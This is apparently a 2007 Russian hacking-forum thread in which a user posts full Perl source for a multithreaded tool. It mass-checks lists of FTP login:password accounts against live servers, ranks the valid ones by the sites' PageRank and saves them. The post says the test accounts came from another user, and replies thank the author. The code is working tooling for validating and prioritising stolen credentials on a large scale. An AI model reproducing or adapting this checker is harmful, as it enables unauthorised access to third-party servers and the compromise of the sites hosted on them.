[ftp cheker&PR-er&cleaner&sorter v1.7]

Discussion in 'PHP' started by genom--, 10 Sep 2007.

  1. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    ух давно чет моих релизенгов небыло - ну вот решил так сказать восполнить а то чет все думають что с принятием в моа я чет приохуел(хз почему)

    вообщем скрипт назвал скромно [ftp cheker&PR-er&cleaner&sorter v1.7] -- тут вся суть так сказать этой дикой штуковины - наконецто вернулся в консольным скриптам а то чето на гуи подсел и стал забывать всю мошь и скорость perl-a в консоли

    добавил автопарсер акков - типо если будет разный мусор в файле главное чтобы на краях акка были пробелы или на конце сивол конца строки

    у скрипта есть четыре режима работы которые управляются значением переменной

    $pr=2; # 0- просто чек, 1- чек и простановка пиара , 2 - только простановка пиара,3 - только сортировка и очистка от повторов

    -- в общем что делает наш скрипт при запуске передаете ему файл с ftp акками(понимаются как ftp://login:[email protected] так и login:[email protected])
    все акки очищаются - от повторов сортируются по алфавиту и сейвятся в исходный файл -- который потом уже чекается или ставится пиар и тд -- скорости работы у скрипта - довольно нев*ебенные - тестил на своем диалапе(45 килобит в секунду) (за материал для теста спасибо blackbr) за час я прочекивал 10000 акков

    ну еще хочу сказать что в режиме 1 и 2 акки после простановки пиара еще и сортируются по нему по уменьшению

    исходники
    Code:
    #!usr/bin/perl
    ############[ftp cheker&PR-er&cleaner v1.7]######
    #								coded by genom--
    # я уже писал несколько софтвин на перле с помощью которых можно былобы выполнять такиеже действия 
    # но товарищ +toxa+ подкинул мысль о том - что заебешься ими чекать много аков - как итог был рожден в безвольных муках сей скрипт
    # сначала была написана гуи версия - но вследствии подглючивания перловского гуя при выходе из под потоков и иных действий
    # мною было принято решение написать консольную версию ибо она небудет глючить и работать я надеюсь будет шустрее =)
    # итак чтоже эта хрень умеет делать - чекать акки на валид, выставлять их page rank, и выставлять имя сайта и как итог мы имеем 
    # список вида ftp://peruhuan:[email protected] [OK] PR=3 site->peruhuanuco.com - и в окончании все акки будут отсортированы по PR
    ################# волт 13. 2007 г.##############
    
    use LWP::UserAgent;
    use threads;
    use threads::shared;
    my $num : shared;
    my $ua = LWP::UserAgent->new(agent => 'Sony Play Station 2',timeout => 20);
    
    $pr=1; # 0- просто чек, 1- чек и простановка пиара , 2 - только простановка пиара,3 - только сортировка и очистка от повторов
    $sleep=0; # слип на всякий случай а то хз могут забанить на сайте где чекается пиар - хотя пока со мной этого не случалось
    
    $time=localtime;
    print '#'x 50,"\nStart in $time\n";
    
    
    if(@ARGV[0]&&@ARGV[1]){
    @itogo;
    print"~~~~~~~~Round 1 - cleaning.~~~~~~~~\n";
    open akk,"<@ARGV[0]" or die "Bad file name =(";
    foreach(<akk>){if($_=~/([^ ]*:[^ ]*\@[^ \n]*)/){push @ak_74 =>$1."\n";$a++;}}
    print "Total found $a ftp accounts.\nAdding \"ftp://\" & sort & clean.\n";
    for ($i=0;$i<$a;$i++){if(@ak_74[$i]=~/ftp:\/\//==0){@ak_74[$i]='ftp://'.@ak_74[$i];}}
    @ak_74=sort @ak_74;
    open dmp,">@ARGV[0]"; print dmp @ak_74;close dmp;  # сохраняем отсортированный список
    print "Killing accounts copy\n";
    for($i=0;$i<$a;$i++){@ak_74[$i]='' if @ak_74[$i]eq@ak_74[$i+1]}
    $a=0;close akk;
    open dmp,">@ARGV[0]"; print dmp @ak_74;close dmp; # сохраняем список без копий
    open akk,"<@ARGV[0]";
    @ak_74=<akk>;foreach(@ak_74){$a++;}
    print "Total found $a good accounts.\n";
    exit if $pr==3;
    print "~~~~~~~~Round 2 - check.~~~~~~~~\n";
    
    $num=0;
    for (1..@ARGV[1]){threads->create(\&bzdish);}
    sleep 1 while $num<$a;
    print "\nKilling threads...\n";
    foreach(threads->list){$_->join};
    
    if ($pr==1 | $pr==2){print"~~~~~~~~Round 3 - Sorting by PR.~~~~~~~~\n";
    open asrt,"<checked_ftp.txt";
    @ak_74=<asrt>; close asrt;
    open asrt,">checked_ftp.txt";
    for($i=10;$i>=0;$i--){
    foreach(@ak_74){print asrt $_ if $_=~/PR=$i/}
    }
    }
    
    $time=localtime;
    print '#'x 50,"\nEnd in $time\n";
    }
    else{
    print <<USAGE; 
    #########[ftp cheker & PR-er & cleaner & sorter v1.7]#########
    #                       coded by genom--                     #
    # Use:                                                       #
    # ftp_check.pl [file_name] [threads]                         #
    # ftp_check.pl list_ftp_acc.txt 10                           #
    #                     No SPloA, No World.                    #
    #############################2007#############################
    USAGE
    }
    
    sub bzdish{
    eshe:
    $akk=@ak_74[$num];
    chomp$akk;
    goto end if $akk eq'' or $akk eq'ftp://';
    $num++;
    print "Do $num $akk\n";
    
    if ($pr ne 2){
    my $res = $ua->get($akk);
    if($res->as_string=~/200 OK/){$rez=" [OK]" if $pr}
    else{$rez=" [BAD]" if $pr;goto end;}}
    
    if($pr==1|$pr==2){
    if($akk=~tr/@/@/ >1){for(1..$akk=~tr/@/@/-1){$akk=~s(@)(###)}}
    $akk=~/@/;$serv=substr($akk,pos($akk));$akk=~s(###)(@);
    my ($temp,$serv)=split(/@/,$akk); # вырезаем имя сервера
    $serv=~s/ftp\.//i;
    sleep $sleep;
    $rez='' if $pr==2;
    my $res = $ua->post("http://page-rank.org.ua/index.php", {'UrlList' => 'http://'.$serv , 'CSV' => 'on'});
    if ($res->as_string=~/$serv"[^\n]*/){
    my $pr=$&;
    $pr=~s/$serv",/PR=/ig;
    $rez.=" $pr site->$serv";}
    else{print 'error get PR\n';}
    $rez=~s/PR=-1/PR=0/ig;
    }
    open lol,">>checked_ftp.txt";print lol "$akk $rez\n";close lol; # пишет в файл только валид 
    end:
    goto eshe if $num<$a;
    }
    скачать на моей паге http://genom.h10.ru
     
    #1 genom--, 10 Sep 2007
    Last edited: 12 Sep 2007
    6 people like this.
  2. lothlorian

    lothlorian Elder - Старейшина

    Joined:
    19 Jun 2007
    Messages:
    58
    Likes Received:
    27
    Reputations:
    0
    Респект.
    Как раз то что мне нужно было!
     
  3. -=[AL!EN]=-

    -=[AL!EN]=- Elder - Старейшина

    Joined:
    29 Aug 2007
    Messages:
    24
    Likes Received:
    15
    Reputations:
    0
    Эхх, было бы с гуи.... но все равно спс!
     
  4. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    просто создавалось изначально все для максимизации скорости при чеке большого количества аккаунтов -- консоль на порядок быстрее -- насчет гуи юзай мой ftp commander
     
    1 person likes this.